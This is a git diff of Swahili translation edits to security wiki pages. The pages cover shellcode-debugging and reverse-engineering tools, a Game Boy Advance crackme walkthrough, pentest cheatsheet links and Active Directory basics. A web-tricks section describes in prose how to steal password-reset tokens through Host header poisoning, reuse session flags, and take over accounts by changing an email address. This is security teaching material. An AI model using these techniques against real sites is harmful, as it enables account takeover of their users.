@ -150,41 +150,43 @@ Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll
|
||||
cheat-engine.md
|
||||
{{#endref}}
|
||||
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kugeuza uhandisi kwa GNU Project Debugger (GDB), kilicholenga michezo. Hata hivyo, inaweza kutumika kwa mambo yoyote yanayohusiana na uhandisi wa kurudi
|
||||
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kugeuza uhandisi kwa GNU Project Debugger (GDB), kinachozingatia michezo. Hata hivyo, inaweza kutumika kwa mambo yoyote yanayohusiana na uhandisi wa nyuma.
|
||||
|
||||
[**Decompiler Explorer**](https://dogbolt.org/) ni chombo cha wavuti kwa idadi ya decompilers. Huduma hii ya wavuti inakuwezesha kulinganisha matokeo ya decompilers tofauti kwenye executable ndogo.
|
||||
|
||||
## ARM & MIPS
|
||||
|
||||
{% embed url="https://github.com/nongiach/arm_now" %}
|
||||
{{#ref}}
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcodes
|
||||
|
||||
### Debugging a shellcode with blobrunner
|
||||
### Kufuatilia shellcode na blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangwa na itasimamisha utekelezaji.\
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itatoa **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipatikana na itasimamisha utekelezaji.\
|
||||
Kisha, unahitaji **kuunganisha debugger** (Ida au x64dbg) kwenye mchakato na kuweka **breakpoint kwenye anwani ya kumbukumbu iliyoonyeshwa** na **kuendelea** na utekelezaji. Kwa njia hii utakuwa unafuatilia shellcode.
|
||||
|
||||
Ukurasa wa github wa matoleo unajumuisha zips zinazojumuisha matoleo yaliyokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Ukurasa wa kutolewa wa github unajumuisha zips zinazojumuisha toleo zilizokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kinachofuata. Ili kulijenga tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike msimbo na ujenge**.
|
||||
|
||||
{{#ref}}
|
||||
blobrunner.md
|
||||
{{#endref}}
|
||||
|
||||
### Debugging a shellcode with jmp2it
|
||||
### Kufuatilia shellcode na jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa na blobrunner. Itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Unahitaji kisha **kuunganisha debugger** kwenye mchakato, **cheza anza subiri sekunde 2-5 na bonyeza kusitisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye amri inayofuata ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa sana na blobrunner. Itatoa **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Unahitaji kisha **kuunganisha debugger** kwenye mchakato, **cheza anza subiri sekunde 2-5 na bonyeza simama** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye agizo linalofuata la mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||
|
||||
.png>)
|
||||
|
||||
Unaweza kupakua toleo lililokusanywa la [jmp2it ndani ya ukurasa wa matoleo](https://github.com/adamkramer/jmp2it/releases/).
|
||||
Unaweza kupakua toleo lililokusanywa la [jmp2it ndani ya ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Debugging shellcode using Cutter
|
||||
### Kufuatilia shellcode kwa kutumia Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kwa kutumia cutter unaweza kuiga shellcode na kuikagua kwa njia ya kidinamikali.
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kwa kutumia cutter unaweza kuiga shellcode na kuikagua kwa njia ya kidijitali.
|
||||
|
||||
Kumbuka kwamba Cutter inakuwezesha "Open File" na "Open Shellcode". Katika kesi yangu nilipofungua shellcode kama faili ilikamilika vizuri, lakini nilipofungua kama shellcode haikufanya hivyo:
|
||||
Kumbuka kwamba Cutter inakuwezesha "Fungua Faili" na "Fungua Shellcode". Katika kesi yangu nilipofungua shellcode kama faili ilikamilishwa vizuri, lakini nilipofungua kama shellcode haikufanya hivyo:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -198,10 +200,10 @@ Unaweza kuona stack kwa mfano ndani ya hex dump:
|
||||
|
||||
.png>)
|
||||
|
||||
### Deobfuscating shellcode and getting executed functions
|
||||
### Kuondoa obfuscation ya shellcode na kupata kazi zinazotekelezwa
|
||||
|
||||
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
|
||||
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na kama shellcode inajidondoa **kwenye kumbukumbu**.
|
||||
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na ikiwa shellcode inajidondoa **katika kumbukumbu**.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
@ -214,35 +216,35 @@ scDbg pia ina kipakia picha ambapo unaweza kuchagua chaguzi unazotaka na kutekel
|
||||
|
||||
.png>)
|
||||
|
||||
Chaguo la **Create Dump** litatoa shellcode ya mwisho ikiwa mabadiliko yoyote yatatokea kwa shellcode kwa njia ya kidijitali katika kumbukumbu (ni muhimu kupakua shellcode iliyotafsiriwa). **start offset** inaweza kuwa muhimu kuanza shellcode katika offset maalum. Chaguo la **Debug Shell** ni muhimu kubaini shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninapata chaguzi zozote zilizofafanuliwa hapo awali kuwa bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
||||
Chaguo la **Create Dump** litatoa shellcode ya mwisho ikiwa mabadiliko yoyote yamefanywa kwa shellcode kwa njia ya kidijitali katika kumbukumbu (inasaidia kupakua shellcode iliyotafsiriwa). **start offset** inaweza kuwa na manufaa kuanza shellcode katika offset maalum. Chaguo la **Debug Shell** ni muhimu kubaini shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninapata chaguzi zozote zilizofafanuliwa hapo awali kuwa bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
||||
|
||||
### Disassembling using CyberChef
|
||||
|
||||
Pakia faili yako ya shellcode kama ingizo na tumia mapishi yafuatayo kuikata: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
Pakia faili yako ya shellcode kama ingizo na tumia mapishi yafuatayo kuikodisha: [https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)](<https://gchq.github.io/CyberChef/#recipe=To_Hex('Space',0)Disassemble_x86('32','Full%20x86%20architecture',16,0,true,true)>)
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Huu obfuscator **hubadilisha maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mwelekeo wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||
Obfuscator hii **inasanifisha maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mtiririko wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||
|
||||
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
|
||||
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
|
||||
|
||||
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itatoa shellcode ya binary. Ina utegemezi kadhaa
|
||||
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itatoa ufafanuzi wa binary. Ina utegemezi kadhaa
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
Na [sakinisha keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa ya manufaa sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa muhimu sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
## Rust
|
||||
|
||||
Ili kupata **nukta ya kuingia** tafuta kazi kwa `::main` kama katika:
|
||||
Ili kupata **nukta ya kuingia** tafuta kazi kwa `::main` kama ilivyo:
|
||||
|
||||
.png>)
|
||||
|
||||
Katika kesi hii, binary ilitwa authenticator, hivyo ni wazi kwamba hii ni kazi kuu ya kuvutia.\
|
||||
Katika kesi hii, binary ilijulikana kama authenticator, hivyo ni wazi kwamba hii ni kazi kuu ya kuvutia.\
|
||||
Kuwa na **jina** la **kazi** zinazoitwa, tafuta kwao kwenye **Mtandao** ili kujifunza kuhusu **ingizo** na **matokeo** yao.
|
||||
|
||||
## **Delphi**
|
||||
@ -253,9 +255,9 @@ Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie plugin ya IDA
|
||||
|
||||
Bonyeza tu **ATL+f7** (kuagiza plugin ya python katika IDA) na uchague plugin ya python.
|
||||
|
||||
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa ufuatiliaji. Baada ya kuanza ufuatiliaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
|
||||
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa urekebishaji. Baada ya kuanza urekebishaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
|
||||
|
||||
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, ufuatiliaji utaacha katika kazi iliyotekelezwa na kitufe hicho.
|
||||
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, urekebishaji utaacha katika kazi iliyotekelezwa na kitufe hicho.
|
||||
|
||||
## Golang
|
||||
|
||||
@ -275,14 +277,14 @@ Katika ukurasa huu unaweza kupata jinsi ya kupata msimbo wa python kutoka kwa bi
|
||||
|
||||
## GBA - Game Body Advance
|
||||
|
||||
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kufuatilia**:
|
||||
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kurekebisha**:
|
||||
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la ufuatiliaji_) - Inajumuisha ufuatiliaji na kiolesura
|
||||
- [**mgba** ](https://mgba.io)- Inajumuisha ufuatiliaji wa CLI
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la urekebishaji_) - Inajumuisha urekebishaji wenye kiolesura
|
||||
- [**mgba** ](https://mgba.io)- Inajumuisha urekebishaji wa CLI
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin ya Ghidra
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin ya Ghidra
|
||||
|
||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Usanidi wa Uigaji --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
|
||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Mpangilio wa Uigaji --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
|
||||
|
||||
.png>)
|
||||
|
||||
@ -305,7 +307,7 @@ Hivyo, katika aina hii ya programu, sehemu ya kuvutia itakuwa **jinsi programu i
|
||||
|
||||
Katika picha ya awali unaweza kuona kwamba kazi inaitwa kutoka **FUN_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
|
||||
|
||||
Katika kazi hiyo, baada ya operesheni chache za kuanzisha (bila umuhimu wowote):
|
||||
Katika kazi hiyo, baada ya operesheni za awali (bila umuhimu wowote):
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
@ -370,17 +372,19 @@ Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali amb
|
||||
|
||||
- Kwanza, inalinganishwa na **thamani 4** (**KITUFU CHA KUTEUA**): Katika changamoto hii kitufe kinafuta skrini
|
||||
- Kisha, inalinganishwa na **thamani 8** (**KITUFU CHA KUANZA**): Katika changamoto hii inakagua kama msimbo ni halali kupata bendera.
|
||||
- Katika kesi hii, var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa, msimbo fulani unatekelezwa.
|
||||
- Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inakaguliwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia kwenye msimbo.\
|
||||
**I**kawa chini ya 8, kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinafanywa (kimsingi inaongeza thamani za funguo zilizobanwa katika variable hii mradi cont iwe chini ya 8).
|
||||
- Katika kesi hii var **`DAT_030000d8`** inalinganishwa na 0xf3 na ikiwa thamani ni sawa msimbo fulani unatekelezwa.
|
||||
- Katika kesi nyingine, konti ( `DAT_030000d4`) inakaguliwa. Ni konti kwa sababu inaongeza 1 mara tu baada ya kuingia kwenye msimbo.\
|
||||
**I**kawa chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinafanywa (kimsingi inaongeza thamani za funguo zilizobanwa katika variable hii mradi konti iwe chini ya 8).
|
||||
|
||||
Hivyo, katika changamoto hii, kujua thamani za vitufe, ulitakiwa **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao jumla inayotokana ni 0xf3.**
|
||||
|
||||
**Marejeo kwa ajili ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
**Marejeleo ya mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
## Game Boy
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
|
||||
{{#ref}}
|
||||
https://www.youtube.com/watch?v=VVbRe7wr3G4
|
||||
{{#endref}}
|
||||
|
||||
## Kozi
|
||||
|
||||
|
4
src/robots.txt
Normal file
4
src/robots.txt
Normal file
@ -0,0 +1,4 @@
|
||||
Sitemap: https://www.hacktricks.wiki/sitemap.xml
|
||||
|
||||
User-agent: *
|
||||
Disallow:
|
@ -4,7 +4,7 @@
|
||||
|
||||
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
|
||||
|
||||
Angalia hiyo wiki kutafuta lugha zaidi za esoteric
|
||||
Angalia wiki hiyo kutafuta lugha zaidi za esoteric
|
||||
|
||||
## Malbolge
|
||||
```
|
||||
@ -48,7 +48,9 @@ Take it to the top
|
||||
|
||||
Whisper my world
|
||||
```
|
||||
{% embed url="https://codewithrockstar.com/" %}
|
||||
{{#ref}}
|
||||
https://codewithrockstar.com/
|
||||
{{#endref}}
|
||||
|
||||
## PETOOH
|
||||
```
|
||||
|
@ -10,7 +10,9 @@
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload ya kutekeleza amri na kupata matokeo kupitia maombi ya DNS kwa burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
{{#ref}}
|
||||
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
|
||||
{{#endref}}
|
||||
|
||||
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
|
||||
|
||||
|
@ -1,34 +1,36 @@
|
||||
# Other Web Tricks
|
||||
# Njia Nyingine za Mtandao
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Host header
|
||||
### Kichwa cha mwenyeji
|
||||
|
||||
Mara kadhaa nyuma ya pazia inategemea **Host header** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domain ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kurekebisha nenosiri lako, domain inayotumika ni ile uliyoweka katika Host header. Kisha, unaweza kuomba upya nenosiri wa watumiaji wengine na kubadilisha domain kuwa moja inayodhibitiwa na wewe ili kuiba nambari zao za kurekebisha nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
Mara kadhaa nyuma, mfumo wa nyuma unategemea **Kichwa cha mwenyeji** kufanya baadhi ya vitendo. Kwa mfano, inaweza kutumia thamani yake kama **domeni ya kutuma upya nenosiri**. Hivyo unapopokea barua pepe yenye kiungo cha kurekebisha nenosiri lako, domeni inayotumika ni ile uliyoweka katika Kichwa cha mwenyeji. Kisha, unaweza kuomba upya nenosiri wa watumiaji wengine na kubadilisha domeni kuwa ile inayodhibitiwa na wewe ili kuiba nambari zao za upya nenosiri. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||
|
||||
> [!WARNING]
|
||||
> Kumbuka kwamba inawezekana usihitaji hata kusubiri mtumiaji abonyeze kiungo cha kurekebisha nenosiri ili kupata token, kwani labda hata **filters za spam au vifaa/boti vingine vya kati vitabonyeza ili kuchambua**.
|
||||
> Kumbuka kwamba inawezekana usihitaji hata kusubiri mtumiaji abonyeze kiungo cha kurekebisha nenosiri kupata tokeni, kwani labda hata **filta za spam au vifaa/viboti vingine vya kati vitabonyeza ili kuchambua**.
|
||||
|
||||
### Session booleans
|
||||
### Boolean za kikao
|
||||
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, nyuma ya pazia itachangia **boolean yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utaweza kujua kama umepita hiyo ukaguzi.\
|
||||
Wakati mwingine unapokamilisha uthibitisho fulani kwa usahihi, mfumo wa nyuma uta **ongeza boolean tu yenye thamani "True" kwa sifa ya usalama ya kikao chako**. Kisha, mwisho tofauti utaweza kujua kama umepita hiyo ukaguzi kwa mafanikio.\
|
||||
Hata hivyo, ikiwa **umepita ukaguzi** na kikao chako kinapewa ile thamani "True" katika sifa ya usalama, unaweza kujaribu **kufikia rasilimali nyingine** ambazo **zinategemea sifa hiyo hiyo** lakini ambazo **hupaswi kuwa na ruhusa** za kufikia. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||
|
||||
### Register functionality
|
||||
### Kazi ya kujiandikisha
|
||||
|
||||
Jaribu kujiandikisha kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia wahusika sawa (madoadoa, nafasi nyingi na Unicode).
|
||||
Jaribu kujiandikisha kama mtumiaji ambaye tayari yupo. Jaribu pia kutumia wahusika sawa (alama, nafasi nyingi na Unicode).
|
||||
|
||||
### Takeover emails
|
||||
### Kuchukua barua pepe
|
||||
|
||||
Jiandikishe barua pepe, kabla ya kuithibitisha badilisha barua pepe, kisha, ikiwa barua pepe mpya ya uthibitisho itatumwa kwa barua pepe ya kwanza iliyosajiliwa, unaweza kuchukua barua pepe yoyote. Au ikiwa unaweza kuwezesha barua pepe ya pili kuthibitisha ile ya kwanza, unaweza pia kuchukua akaunti yoyote.
|
||||
|
||||
### Access Internal servicedesk of companies using atlassian
|
||||
### Fikia huduma za ndani za kampuni zinazotumia atlassian
|
||||
|
||||
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
|
||||
{{#ref}}
|
||||
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
|
||||
{{#endref}}
|
||||
|
||||
### TRACE method
|
||||
### Njia ya TRACE
|
||||
|
||||
Wanda maendeleo wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha kufichuliwa kwa taarifa, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.
|
||||
Wakuu wa maendeleo wanaweza kusahau kuzima chaguzi mbalimbali za ufuatiliaji katika mazingira ya uzalishaji. Kwa mfano, njia ya HTTP `TRACE` imeundwa kwa madhumuni ya uchunguzi. Ikiwa imewezeshwa, seva ya wavuti itajibu maombi yanayotumia njia ya `TRACE` kwa kurudisha katika jibu ombi halisi lililopokelewa. Tabia hii mara nyingi haina madhara, lakini wakati mwingine husababisha kufichuliwa kwa taarifa, kama vile jina la vichwa vya uthibitishaji vya ndani ambavyo vinaweza kuongezwa kwa maombi na proxies za kinyume.
|
||||
|
||||

|
||||
|
||||
|
@ -1,49 +1,95 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||
{{#ref}}
|
||||
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||
{{#ref}}
|
||||
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/pentesting-cheatsheet/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||
{{#ref}}
|
||||
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||
{{#ref}}
|
||||
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||
{{#ref}}
|
||||
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||
{{#ref}}
|
||||
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||
{{#ref}}
|
||||
https://anhtai.me/oscp-fun-guide/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.thehacker.recipes/" %}
|
||||
{{#ref}}
|
||||
https://www.thehacker.recipes/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||
{{#ref}}
|
||||
https://github.com/swisskyrepo/PayloadsAllTheThings
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||
{{#ref}}
|
||||
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://hideandsec.sh/" %}
|
||||
{{#ref}}
|
||||
https://hideandsec.sh/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||
{{#ref}}
|
||||
https://cheatsheet.haax.fr/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://infosecwriteups.com/" %}
|
||||
{{#ref}}
|
||||
https://infosecwriteups.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.exploit-db.com/" %}
|
||||
{{#ref}}
|
||||
https://www.exploit-db.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://wadcoms.github.io/" %}
|
||||
{{#ref}}
|
||||
https://wadcoms.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://lolbas-project.github.io" %}
|
||||
{{#ref}}
|
||||
https://lolbas-project.github.io
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||
{{#ref}}
|
||||
https://pentestbook.six2dez.com/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://www.hackingarticles.in/" %}
|
||||
{{#ref}}
|
||||
https://www.hackingarticles.in/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://pentestlab.blog/" %}
|
||||
{{#ref}}
|
||||
https://pentestlab.blog/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://ippsec.rocks/" %}
|
||||
{{#ref}}
|
||||
https://ippsec.rocks/
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,54 +2,54 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Muhtasari wa Msingi
|
||||
## Basic overview
|
||||
|
||||
**Active Directory** inatumika kama teknolojia ya msingi, ikiwasaidia **wasimamizi wa mtandao** kuunda na kusimamia kwa ufanisi **doma**, **watumiaji**, na **vitu** ndani ya mtandao. Imeundwa ili kuweza kupanuka, ikirahisisha kupanga idadi kubwa ya watumiaji katika **makundi** na **subgroups** yanayoweza kudhibitiwa, huku ikidhibiti **haki za ufikiaji** katika ngazi mbalimbali.
|
||||
**Active Directory** inatoa teknolojia ya msingi, ikiruhusu **wasimamizi wa mtandao** kuunda na kusimamia kwa ufanisi **doma**, **watumiaji**, na **vitu** ndani ya mtandao. Imeundwa ili kupanuka, ikisaidia kuandaa idadi kubwa ya watumiaji katika **makundi** na **subgroups** yanayoweza kudhibitiwa, huku ikidhibiti **haki za ufikiaji** katika ngazi mbalimbali.
|
||||
|
||||
Muundo wa **Active Directory** unajumuisha tabaka tatu kuu: **doma**, **miti**, na **misitu**. **Doma** inajumuisha mkusanyiko wa vitu, kama **watumiaji** au **vifaa**, vinavyoshiriki hifadhidata ya pamoja. **Miti** ni makundi ya hizi doma zilizounganishwa na muundo wa pamoja, na **msitu** unawakilisha mkusanyiko wa miti kadhaa, zilizounganishwa kupitia **uhusiano wa kuaminiana**, zikiforma tabaka la juu zaidi la muundo wa shirika. Haki maalum za **ufikiaji** na **mawasiliano** zinaweza kutolewa katika kila moja ya ngazi hizi.
|
||||
Muundo wa **Active Directory** unajumuisha tabaka tatu kuu: **doma**, **miti**, na **misitu**. **Doma** inajumuisha mkusanyiko wa vitu, kama **watumiaji** au **vifaa**, vinavyoshiriki hifadhidata ya kawaida. **Miti** ni makundi ya hizi doma zilizounganishwa na muundo wa pamoja, na **msitu** unawakilisha mkusanyiko wa miti kadhaa, zilizounganishwa kupitia **uhusiano wa kuaminiana**, zikiforma tabaka la juu zaidi la muundo wa shirika. Haki maalum za **ufikiaji** na **mawasiliano** zinaweza kutolewa katika kila moja ya hizi ngazi.
|
||||
|
||||
Mifano muhimu ndani ya **Active Directory** ni pamoja na:
|
||||
|
||||
1. **Directory** – Inahifadhi taarifa zote zinazohusiana na vitu vya Active Directory.
|
||||
2. **Object** – Inamaanisha viumbe ndani ya directory, ikiwa ni pamoja na **watumiaji**, **makundi**, au **folda zilizoshirikiwa**.
|
||||
2. **Object** – Inamaanisha viumbe ndani ya directory, ikiwa ni pamoja na **watumiaji**, **makundi**, au **folda za pamoja**.
|
||||
